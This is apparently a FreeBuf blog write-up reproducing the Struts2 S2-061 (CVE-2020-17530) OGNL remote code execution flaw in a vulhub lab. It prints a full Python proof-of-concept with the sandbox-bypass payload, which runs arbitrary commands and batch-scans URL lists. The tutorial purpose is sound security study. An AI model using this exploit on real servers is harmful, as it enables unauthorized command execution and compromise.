freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

structs2-061远程命令执行(CVE-2020-17530)漏洞复现及poc编写
Sweetmelon 2020-12-22 16:41:06 285920

QAQ本来想趁着这个漏洞还有点话题感,抓住小尾巴写一篇有关structs2-061远程命令执行的原创文章的,但是后来发现自己仅仅是知道如何利用这个漏洞与简单的原理,但涉及OGNL方面的知识之前也没有接触过,很难全面的写出来。后来问了郑老师有关这个漏洞pyload的问题,他的回答比我所知道的更为专业。想把他的回答也贴出来,就不是自己的原创了呜呜呜,有写错了的地方也请大佬们帮我纠正一下。

1、简介

Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,风险极大。

2、漏洞原理

Structs2攻击者通过构造恶意的 OGNL 表达式,引发 OGNL 表达式二次解析,最终造成远程代码执行的影响。

此漏洞利用的是Structs2会对某些标签属性(比如id)的属性值进行二次表达式解析,当这些标签属性中使用了 `%{x}` 且 `x` 的值用户可控时,攻击者构造payload,payload里面就是OGNL表达式 ,通过OGNL 可以访问 对象的属性,执行系统命令。

3、影响版本:

struts 2.0.0 - struts 2.5.25

4、poc编写

4.1代码编写

使用的是python语言,导入四个库,request库、sys库、re库、OptionParser库。

其实一开始的代码只有def s2_file这个功能,批量扫描一个txt里面所有的url。

但是表哥说我这个代码人机交互太差了,就加了两个功能def s2_url(实现单个url扫描)和解析库(设置usage的options)

''' 
author:Sweetmelon
time:2020-12-14
s2-061 poc
'''
# -*- coding:utf-8 -*-
import requests,sys,re

def s2_file(filename, command="id"):
    with open(filename, 'r', encoding = 'utf-8') as f1:
        for line in f1:
            payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+command+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"  
            url=line+"/index.action?id="+payload
            # print(url)
            r=requests.get(url).text
            # print(r)
            z=re.findall("a id=.*",r)
            output=str(z).replace("a id=\"","")
            # print(output)
            if "uid" in output:
                print(line.strip()+"存在struct2-061漏洞")
            else:
                print(line.strip()+"不存在struct2-061漏洞")

def s2_url(url, command="id"):
    payload="%25%7b(%27Powered_by_Unicode_Potats0%2cenjoy_it%27).(%23UnicodeSec+%3d+%23application%5b%27org.apache.tomcat.InstanceManager%27%5d).(%23potats0%3d%23UnicodeSec.newInstance(%27org.apache.commons.collections.BeanMap%27)).(%23stackvalue%3d%23attr%5b%27struts.valueStack%27%5d).(%23potats0.setBean(%23stackvalue)).(%23context%3d%23potats0.get(%27context%27)).(%23potats0.setBean(%23context)).(%23sm%3d%23potats0.get(%27memberAccess%27)).(%23emptySet%3d%23UnicodeSec.newInstance(%27java.util.HashSet%27)).(%23potats0.setBean(%23sm)).(%23potats0.put(%27excludedClasses%27%2c%23emptySet)).(%23potats0.put(%27excludedPackageNames%27%2c%23emptySet)).(%23exec%3d%23UnicodeSec.newInstance(%27freemarker.template.utility.Execute%27)).(%23cmd%3d%7b%27"+command+"%27%7d).(%23res%3d%23exec.exec(%23cmd))%7d"  
    url=url+"/index.action?id="+payload
    # print(url)
    r=requests.get(url).text
    # print(r)
    z=re.findall("a id=.*",r)
    output=str(z).replace("a id=\"","")
    print(output)

from optparse import OptionParser
usage = "%prog -f filename\nUsage2: %prog -u url -c command"
parser=OptionParser(usage=usage)
parser.add_option('-f','--file',action='store',type='string',dest='filename',help='Input Filename')
parser.add_option('-u','--url',action='store',type='string',dest='url',help='Input URL')
parser.add_option('-c','--command',action='store',type='string',dest='command',help='Input Command')

(options, args) = parser.parse_args()
# print(type(options.url))
# print(options.url)
if(options.filename and options.url==None):
    # print(options.filename)
    s2_file(options.filename)
if(options.url and options.filename==None):
    # print(options.url)
    s2_url(options.url, options.command)
if(options.filename and options.url):
    print("Usage1: "+sys.argv[0]+"-f filename\nUsage2: "+sys.argv[0]+"-u url -c command")
if(options.filename==None and options.url==None):
    print(sys.argv[0]+" -h")

4.2pyload解析(郑老师小课堂)

(1)第一个pyload

为什么前面写这么长,是为了绕过沙盒(其实structs2-061就是structs2-059的绕过)。

已知的OGNL沙盒限制为:
无法new一个对象
无法调用黑名单类和包的方法、属性
无法使用反射
无法调用静态方法
OGNL沙盒未限制的操作为:
对象属性 setter/getter(public) 赋/取值,可以访问静态属性。
已实例类的方法调用( OgnlContext 中的对象),不允许调用静态方法
可以看到目前我们只能在 OgnlContext 中寻找可利用的对象。

如果要深入的话,需要了解整个struct2项目和 OGNL 语法了。但是,不深入理解的话,就知道 通过OGNL 语法 ,重置 黑名单,然后得到 访问的命令执行类的命令执行方法

1608107760_5fd9c6f06207592806305.png!small?1608107762138

(2)第二个pyload

1608107825_5fd9c7311a8a9fad4f0a1.png!small?1608107827141

5、漏洞复现

5.1漏洞环境搭建

(1)kali安装 docker

#部署前准备
在开始之前,请确保您的Kali Linux完全是最新的。
添加Docker PGP key:
因为国内对docker官网的网速支持并不友好,我将使用清华镜像作为代替
$ curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add -

#配置Docker APT repository:
$ echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list
#更新APT
sudo apt-get update
#安装Docker
#如果您安装了旧版本的Docker,请卸载它们:
$ sudo apt-get remove docker docker-engine docker.io
#安装docker:
$ sudo apt-get install docker-ce
#查看docker状态:
$ sudo systemctl status docker
# 启动docker:
$ sudo systemctl start docker
# 开机自动启动
sudo systemctl enable docker
# 查看安装版本
$ sudo docker version

(2)下载vulhub-master放到kali

git clone https://github.com/vulhub/vulhub.git

(3)进入目录/vulhub-master/struts2/s2-061

启动靶场:docker-compose up -d

5.2验证漏洞

(1)浏览器打开http://192.168.8.135:8080/

1608624496_5fe1a97011808cc2fda34.png!small?1608624496352

(2)抓包手工验证

抓包看到这个漏洞标志性的信息/.action?id=

于是将payload放上去,可以看到返回包返回了我们命令执行请求的结果

1608625396_5fe1acf4107b5911c97e1.png!small?1608625396337

(3)poc脚本验证

1608624901_5fe1ab05edb2372cc108b.png!small?1608624902216

# 漏洞分析 # 网络安全技术
本文为 Sweetmelon 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Sweetmelon LV.1
孝廉因岁贡,怀橘向秦川.
  • 4 文章数
  • 10 关注者
安全研究 | 记一次HTTPS中间人攻击实验
2020-10-28
记一次糟心的内网靶场实战
2020-10-26
搭建两层内网建立SSH隧道使用NC反弹Shell的实验
2020-10-24
文章目录